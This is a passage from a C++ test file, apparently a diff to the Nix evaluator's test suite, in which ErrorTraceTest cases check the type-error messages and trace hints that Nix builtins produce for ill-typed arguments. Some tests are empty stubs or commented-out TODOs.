coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.toPath")); + + ASSERT_TRACE2( + "toPath \"foo\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "foo"), + HintFmt("while evaluating the first argument passed to builtins.toPath")); +} + +TEST_F(ErrorTraceTest, storePath) +{ + ASSERT_TRACE2( + "storePath true", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to 'builtins.storePath'")); +} + +TEST_F(ErrorTraceTest, pathExists) +{ + ASSERT_TRACE2( + "pathExists []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while realising the context of a path")); + + ASSERT_TRACE2( + "pathExists \"zorglub\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "zorglub"), + HintFmt("while realising the context of a path")); +} + +TEST_F(ErrorTraceTest, baseNameOf) +{ + ASSERT_TRACE2( + "baseNameOf []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.baseNameOf")); +} + +TEST_F(ErrorTraceTest, dirOf) {} + +TEST_F(ErrorTraceTest, readFile) {} + +TEST_F(ErrorTraceTest, findFile) {} + +TEST_F(ErrorTraceTest, hashFile) {} + +TEST_F(ErrorTraceTest, readDir) {} + +TEST_F(ErrorTraceTest, toXML) {} + +TEST_F(ErrorTraceTest, toJSON) {} + +TEST_F(ErrorTraceTest, fromJSON) {} + +TEST_F(ErrorTraceTest, toFile) {} + +TEST_F(ErrorTraceTest, filterSource) +{ + ASSERT_TRACE2( + "filterSource [] []", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); + + ASSERT_TRACE2( + "filterSource [] \"foo\"", + EvalError, + HintFmt("string '%s' doesn't represent an absolute path", "foo"), + HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); + + ASSERT_TRACE2( + "filterSource [] ./.", + TypeError, + HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.filterSource")); + + // Usupported by store "dummy" + + // ASSERT_TRACE2("filterSource (_: 1) ./.", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "an integer"), + // HintFmt("while adding path '/home/layus/projects/nix'")); + + // ASSERT_TRACE2("filterSource (_: _: 1) ./.", + // TypeError, + // HintFmt("expected a Boolean but found %s: %s", "an integer", "1"), + // HintFmt("while evaluating the return value of the path filter function")); +} + +TEST_F(ErrorTraceTest, path) {} + +TEST_F(ErrorTraceTest, attrNames) +{ + ASSERT_TRACE2( + "attrNames []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the argument passed to builtins.attrNames")); +} + +TEST_F(ErrorTraceTest, attrValues) +{ + ASSERT_TRACE2( + "attrValues []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the argument passed to builtins.attrValues")); +} + +TEST_F(ErrorTraceTest, getAttr) +{ + ASSERT_TRACE2( + "getAttr [] []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.getAttr")); + + ASSERT_TRACE2( + "getAttr \"foo\" []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.getAttr")); + + ASSERT_TRACE2( + "getAttr \"foo\" {}", + TypeError, + HintFmt("attribute '%s' missing", "foo"), + HintFmt("in the attribute set under consideration")); +} + +TEST_F(ErrorTraceTest, unsafeGetAttrPos) {} + +TEST_F(ErrorTraceTest, hasAttr) +{ + ASSERT_TRACE2( + "hasAttr [] []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.hasAttr")); + + ASSERT_TRACE2( + "hasAttr \"foo\" []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.hasAttr")); +} + +TEST_F(ErrorTraceTest, isAttrs) {} + +TEST_F(ErrorTraceTest, removeAttrs) +{ + ASSERT_TRACE2( + "removeAttrs \"\" \"\"", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); + + ASSERT_TRACE2( + "removeAttrs \"\" [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); + + ASSERT_TRACE2( + "removeAttrs \"\" [ \"1\" ]", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); +} + +TEST_F(ErrorTraceTest, listToAttrs) +{ + ASSERT_TRACE2( + "listToAttrs 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the argument passed to builtins.listToAttrs")); + + ASSERT_TRACE2( + "listToAttrs [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element of the list passed to builtins.listToAttrs")); + + ASSERT_TRACE2( + "listToAttrs [ {} ]", + TypeError, + HintFmt("attribute '%s' missing", "name"), + HintFmt("in a {name=...; value=...;} pair")); + + ASSERT_TRACE2( + "listToAttrs [ { name = 1; } ]", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs")); + + ASSERT_TRACE2( + "listToAttrs [ { name = \"foo\"; } ]", + TypeError, + HintFmt("attribute '%s' missing", "value"), + HintFmt("in a {name=...; value=...;} pair")); +} + +TEST_F(ErrorTraceTest, intersectAttrs) +{ + ASSERT_TRACE2( + "intersectAttrs [] []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.intersectAttrs")); + + ASSERT_TRACE2( + "intersectAttrs {} []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.intersectAttrs")); +} + +TEST_F(ErrorTraceTest, catAttrs) +{ + ASSERT_TRACE2( + "catAttrs [] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.catAttrs")); + + ASSERT_TRACE2( + "catAttrs \"foo\" {}", + TypeError, + HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.catAttrs")); + + ASSERT_TRACE2( + "catAttrs \"foo\" [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); + + ASSERT_TRACE2( + "catAttrs \"foo\" [ { foo = 1; } 1 { bar = 5;} ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); +} + +TEST_F(ErrorTraceTest, functionArgs) +{ + ASSERT_TRACE1("functionArgs {}", TypeError, HintFmt("'functionArgs' requires a function")); +} + +TEST_F(ErrorTraceTest, mapAttrs) +{ + ASSERT_TRACE2( + "mapAttrs [] []", + TypeError, + HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the second argument passed to builtins.mapAttrs")); + + // XXX: defered + // ASSERT_TRACE2("mapAttrs \"\" { foo.bar = 1; }", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "a string"), + // HintFmt("while evaluating the attribute 'foo'")); + + // ASSERT_TRACE2("mapAttrs (x: x + \"1\") { foo.bar = 1; }", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "a string"), + // HintFmt("while evaluating the attribute 'foo'")); + + // ASSERT_TRACE2("mapAttrs (x: y: x + 1) { foo.bar = 1; }", + // TypeError, + // HintFmt("cannot coerce %s to a string", "an integer"), + // HintFmt("while evaluating a path segment")); +} + +TEST_F(ErrorTraceTest, zipAttrsWith) +{ + ASSERT_TRACE2( + "zipAttrsWith [] [ 1 ]", + TypeError, + HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.zipAttrsWith")); + + ASSERT_TRACE2( + "zipAttrsWith (_: 1) [ 1 ]", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed as second argument to builtins.zipAttrsWith")); + + // XXX: How to properly tell that the fucntion takes two arguments ? + // The same question also applies to sort, and maybe others. + // Due to lazyness, we only create a thunk, and it fails later on. + // ASSERT_TRACE2("zipAttrsWith (_: 1) [ { foo = 1; } ]", + // TypeError, + // HintFmt("attempt to call something which is not a function but %s", "an integer"), + // HintFmt("while evaluating the attribute 'foo'")); + + // XXX: Also deferred deeply + // ASSERT_TRACE2("zipAttrsWith (a: b: a + b) [ { foo = 1; } { foo = 2; } ]", + // TypeError, + // HintFmt("cannot coerce %s to a string", "a list"), + // HintFmt("while evaluating a path segment")); +} + +TEST_F(ErrorTraceTest, isList) {} + +TEST_F(ErrorTraceTest, elemAt) +{ + ASSERT_TRACE2( + "elemAt \"foo\" (-1)", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to 'builtins.elemAt'")); + + ASSERT_TRACE1( + "elemAt [] (-1)", Error, HintFmt("'builtins.elemAt' called with index %d on a list of size %d", -1, 0)); + + ASSERT_TRACE1( + "elemAt [\"foo\"] 3", Error, HintFmt("'builtins.elemAt' called with index %d on a list of size %d", 3, 1)); +} + +TEST_F(ErrorTraceTest, head) +{ + ASSERT_TRACE2( + "head 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to 'builtins.head'")); + + ASSERT_TRACE1("head []", Error, HintFmt("'builtins.head' called on an empty list")); +} + +TEST_F(ErrorTraceTest, tail) +{ + ASSERT_TRACE2( + "tail 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to 'builtins.tail'")); + + ASSERT_TRACE1("tail []", Error, HintFmt("'builtins.tail' called on an empty list")); +} + +TEST_F(ErrorTraceTest, map) +{ + ASSERT_TRACE2( + "map 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.map")); + + ASSERT_TRACE2( + "map 1 [ 1 ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.map")); +} + +TEST_F(ErrorTraceTest, filter) +{ + ASSERT_TRACE2( + "filter 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.filter")); + + ASSERT_TRACE2( + "filter 1 [ \"foo\" ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.filter")); + + ASSERT_TRACE2( + "filter (_: 5) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "5" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the filtering function passed to builtins.filter")); +} + +TEST_F(ErrorTraceTest, elem) +{ + ASSERT_TRACE2( + "elem 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.elem")); +} + +TEST_F(ErrorTraceTest, concatLists) +{ + ASSERT_TRACE2( + "concatLists 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.concatLists")); + + ASSERT_TRACE2( + "concatLists [ 1 ]", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed to builtins.concatLists")); + + ASSERT_TRACE2( + "concatLists [ [1] \"foo\" ]", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed to builtins.concatLists")); +} + +TEST_F(ErrorTraceTest, length) +{ + ASSERT_TRACE2( + "length 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.length")); + + ASSERT_TRACE2( + "length \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.length")); +} + +TEST_F(ErrorTraceTest, foldlPrime) +{ + ASSERT_TRACE2( + "foldl' 1 \"foo\" true", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.foldlStrict")); + + ASSERT_TRACE2( + "foldl' (_: 1) \"foo\" true", + TypeError, + HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the third argument passed to builtins.foldlStrict")); + + ASSERT_TRACE1( + "foldl' (_: 1) \"foo\" [ true ]", + TypeError, + HintFmt( + "attempt to call something which is not a function but %s: %s", + "an integer", + Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); + + ASSERT_TRACE2( + "foldl' (a: b: a && b) \"foo\" [ true ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("in the left operand of the AND (&&) operator")); +} + +TEST_F(ErrorTraceTest, any) +{ + ASSERT_TRACE2( + "any 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.any")); + + ASSERT_TRACE2( + "any (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.any")); + + ASSERT_TRACE2( + "any (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.any")); +} + +TEST_F(ErrorTraceTest, all) +{ + ASSERT_TRACE2( + "all 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.all")); + + ASSERT_TRACE2( + "all (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.all")); + + ASSERT_TRACE2( + "all (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.all")); +} + +TEST_F(ErrorTraceTest, genList) +{ + ASSERT_TRACE2( + "genList 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.genList")); + + ASSERT_TRACE2( + "genList 1 2", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.genList")); + + // XXX: defered + // ASSERT_TRACE2("genList (x: x + \"foo\") 2 #TODO", + // TypeError, + // HintFmt("cannot add %s to an integer", "a string"), + // HintFmt("while evaluating anonymous lambda")); + + ASSERT_TRACE1("genList false (-3)", EvalError, HintFmt("cannot create list of size %d", -3)); +} + +TEST_F(ErrorTraceTest, sort) +{ + ASSERT_TRACE2( + "sort 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.sort")); + + ASSERT_TRACE2( + "sort 1 [ \"foo\" ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.sort")); + + ASSERT_TRACE1( + "sort (_: 1) [ \"foo\" \"bar\" ]", + TypeError, + HintFmt( + "attempt to call something which is not a function but %s: %s", + "an integer", + Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); + + ASSERT_TRACE2( + "sort (_: _: 1) [ \"foo\" \"bar\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the sorting function passed to builtins.sort")); + + // XXX: Trace too deep, need better asserts + // ASSERT_TRACE1("sort (a: b: a <= b) [ \"foo\" {} ] # TODO", + // TypeError, + // HintFmt("cannot compare %s with %s", "a string", "a set")); + + // ASSERT_TRACE1("sort (a: b: a <= b) [ {} {} ] # TODO", + // TypeError, + // HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); +} + +TEST_F(ErrorTraceTest, partition) +{ + ASSERT_TRACE2( + "partition 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.partition")); + + ASSERT_TRACE2( + "partition (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.partition")); + + ASSERT_TRACE2( + "partition (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the partition function passed to builtins.partition")); +} + +TEST_F(ErrorTraceTest, groupBy) +{ + ASSERT_TRACE2( + "groupBy 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.groupBy")); + + ASSERT_TRACE2( + "groupBy (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.groupBy")); + + ASSERT_TRACE2( + "groupBy (x: x) [ \"foo\" \"bar\" 1 ]", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the grouping function passed to builtins.groupBy")); +} + +TEST_F(ErrorTraceTest, concatMap) +{ + ASSERT_TRACE2( + "concatMap 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.concatMap")); + + ASSERT_TRACE2( + "concatMap (x: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.concatMap")); + + ASSERT_TRACE2( + "concatMap (x: 1) [ \"foo\" ] # TODO", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); + + ASSERT_TRACE2( + "concatMap (x: \"foo\") [ 1 2 ] # TODO", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); +} + +TEST_F(ErrorTraceTest, add) +{ + ASSERT_TRACE2( + "add \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the addition")); + + ASSERT_TRACE2( + "add 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the addition")); +} + +TEST_F(ErrorTraceTest, sub) +{ + ASSERT_TRACE2( + "sub \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the subtraction")); + + ASSERT_TRACE2( + "sub 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the subtraction")); +} + +TEST_F(ErrorTraceTest, mul) +{ + ASSERT_TRACE2( + "mul \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the multiplication")); + + ASSERT_TRACE2( + "mul 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the multiplication")); +} + +TEST_F(ErrorTraceTest, div) +{ + ASSERT_TRACE2( + "div \"foo\" 1 # TODO: an integer was expected -> a number", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first operand of the division")); + + ASSERT_TRACE2( + "div 1 \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second operand of the division")); + + ASSERT_TRACE1("div \"foo\" 0", EvalError, HintFmt("division by zero")); +} + +TEST_F(ErrorTraceTest, bitAnd) +{ + ASSERT_TRACE2( + "bitAnd 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitAnd")); + + ASSERT_TRACE2( + "bitAnd 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitAnd")); +} + +TEST_F(ErrorTraceTest, bitOr) +{ + ASSERT_TRACE2( + "bitOr 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitOr")); + + ASSERT_TRACE2( + "bitOr 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitOr")); +} + +TEST_F(ErrorTraceTest, bitXor) +{ + ASSERT_TRACE2( + "bitXor 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitXor")); + + ASSERT_TRACE2( + "bitXor 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitXor")); +} + +TEST_F(ErrorTraceTest, lessThan) +{ + ASSERT_TRACE1("lessThan 1 \"foo\"", EvalError, HintFmt("cannot compare %s with %s", "an integer", "a string")); + + ASSERT_TRACE1( + "lessThan {} {}", + EvalError, + HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); + + ASSERT_TRACE2( + "lessThan [ 1 2 ] [ \"foo\" ]", + EvalError, + HintFmt("cannot compare %s with %s", "an integer", "a string"), + HintFmt("while comparing two list elements")); +} + +TEST_F(ErrorTraceTest, toString) +{ + ASSERT_TRACE2( + "toString { a = 1; }", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ a = " ANSI_CYAN "1" ANSI_NORMAL "; }")), + HintFmt("while evaluating the first argument passed to builtins.toString")); +} + +TEST_F(ErrorTraceTest, substring) +{ + ASSERT_TRACE2( + "substring {} \"foo\" true", + TypeError, + HintFmt("expected an integer but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the first argument (the start offset) passed to builtins.substring")); + + ASSERT_TRACE2( + "substring 3 \"foo\" true", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument (the substring length) passed to builtins.substring")); + + ASSERT_TRACE2( + "substring 0 3 {}", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the third argument (the string) passed to builtins.substring")); + + ASSERT_TRACE1("substring (-3) 3 \"sometext\"", EvalError, HintFmt("negative start position in 'substring'")); +} + +TEST_F(ErrorTraceTest, stringLength) +{ + ASSERT_TRACE2( + "stringLength {} # TODO: context is missing ???", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the argument passed to builtins.stringLength")); +} + +TEST_F(ErrorTraceTest, hashString) +{ + ASSERT_TRACE2( + "hashString 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.hashString")); + + ASSERT_TRACE1( + "hashString \"foo\" \"content\"", + UsageError, + HintFmt("unknown hash algorithm '%s', expect 'blake3', 'md5', 'sha1', 'sha256', or 'sha512'", "foo")); + + ASSERT_TRACE2( + "hashString \"sha256\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.hashString")); +} + +TEST_F(ErrorTraceTest, match) +{ + ASSERT_TRACE2( + "match 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.match")); + + ASSERT_TRACE2( + "match \"foo\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.match")); + + ASSERT_TRACE1("match \"(.*\" \"\"", EvalError, HintFmt("invalid regular expression '%s'", "(.*")); +} + +TEST_F(ErrorTraceTest, split) +{ + ASSERT_TRACE2( + "split 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.split")); + + ASSERT_TRACE2( + "split \"foo\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.split")); + + ASSERT_TRACE1("split \"f(o*o\" \"1foo2\"", EvalError, HintFmt("invalid regular expression '%s'", "f(o*o")); +} + +TEST_F(ErrorTraceTest, concatStringsSep) +{ + ASSERT_TRACE2( + "concatStringsSep 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument (the separator string) passed to builtins.concatStringsSep")); + + ASSERT_TRACE2( + "concatStringsSep \"foo\" {}", + TypeError, + HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), + HintFmt( + "while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep")); + + ASSERT_TRACE2( + "concatStringsSep \"foo\" [ 1 2 {} ] # TODO: coerce to string is buggy", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep")); +} + +TEST_F(ErrorTraceTest, parseDrvName) +{ + 